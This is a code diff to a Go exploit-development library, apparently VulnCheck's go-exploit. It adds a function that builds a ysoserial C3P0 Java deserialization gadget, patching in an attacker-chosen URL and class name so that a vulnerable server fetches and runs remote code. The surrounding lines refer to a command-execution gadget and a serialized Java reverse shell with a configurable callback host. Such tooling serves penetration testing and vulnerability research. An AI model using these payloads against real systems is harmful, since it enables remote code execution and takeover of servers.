Add C3P0 gadget chain from ysoserial

java/javagadget.go

@@ -1,20 +1,32 @@
 package java
 
 import (
+	"embed"
 	"errors"
 	"fmt"
+	"path/filepath"
 	"strconv"
 	"strings"
 
 	"github.com/vulncheck-oss/go-exploit/transform"
 )
 
-var errInvalidCommandLength = errors.New("invalid command length")
+//go:embed gadgets
+var gadgets embed.FS
+
+var (
+	errInvalidCommandLength = errors.New("invalid command length")
+	errInvalidCallbackArg   = errors.New("invalid callback arg")
+)
 
 func ErrorInvalidCommandLength(msg string) error {
 	return fmt.Errorf("%w: %s", errInvalidCommandLength, msg)
 }
 
+func ErrorInvalidCallbackArg(msg string) error {
+	return fmt.Errorf("%w: %s", errInvalidCallbackArg, msg)
+}
+
 // This payload was generated using ysoserial-modified with the CommonsCollections6 gadget and the bash shell arg
 // The benefit of this payload over one generated from the unmodified ysoserial is the you do not need to
 // prepend it with a bash -c, and the spaces do not need to be replaced with $IFS.
@@ -415,6 +427,30 @@ func Commons10CommandBytecode(commandStr string) (string, error) {
 	return payloadBytes, nil
 }
 
+// Load `className` from `baseURL` using `URLClassLoader`.
+//
+// Generated by ysoserial using the "C3P0" gadget chain with placeholder arguments "<base_url>" and "<classname>".
+func C3P0ClassCallbackBytecode(baseURL, className string) (string, error) {
+	// 16-bit unsigned integer
+	if len(baseURL) < 1 || len(baseURL) > 65535 {
+		return "", ErrorInvalidCallbackArg("baseURL must be between 1 and 65535 characters")
+	} else if len(className) < 1 || len(className) > 65535 {
+		return "", ErrorInvalidCallbackArg("className must be between 1 and 65535 characters")
+	}
+
+	// $ java -jar ysoserial.jar C3P0 "<base_url>:<classname>"
+	gadgetBytes, err := gadgets.ReadFile(filepath.Join("gadgets", "C3P0.bin"))
+	if err != nil {
+		return "", fmt.Errorf("failed to read gadget: %w", err)
+	}
+
+	gadget := string(gadgetBytes)
+	gadget = strings.ReplaceAll(gadget, "\x00\x0a<base_url>", transform.PackBigInt16(len(baseURL))+baseURL)
+	gadget = strings.ReplaceAll(gadget, "\x00\x0b<classname>", transform.PackBigInt16(len(className))+className)
+
+	return gadget, nil
+}
+
 // This is a serialized java reverse shell. The gadget was generated by ysoserial
 // but using the code in this pull https://github.com/frohoff/ysoserial/pull/96
 // and updated to make it easy to swap in the desired lhost+lport of our choosing